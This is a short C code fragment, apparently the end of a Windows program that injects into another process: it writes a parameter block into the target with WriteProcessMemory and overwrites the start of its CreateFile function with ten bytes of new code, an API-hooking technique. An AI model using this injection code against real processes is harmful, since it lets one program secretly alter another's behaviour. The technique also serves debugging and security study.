if(!WriteProcessMemory(hTargetProcess, (LPVOID)dwPramaAddr, (LPVOID)&RParam, sizeof(RemoteParam), &dwPid))
{
printf("WriteRemoteProcessesMemory Error!n");
CloseHandle(hTargetProcess);
FreeLibrary(hKernel32);
return -1;
}
if(!WriteProcessMemory(hTargetProcess, (LPVOID)RParam.dwCreateFile, (LPVOID)newcode, 10, &dwPid))
{
printf("WriteRemoteProcessesMemory Error!n");
CloseHandle(hTargetProcess);
FreeLibrary(hKernel32);
return -1;
}
printf("nThat''s all, good luck :)n");
CloseHandle(hTargetProcess);
FreeLibrary(hKernel32);
return 0;
}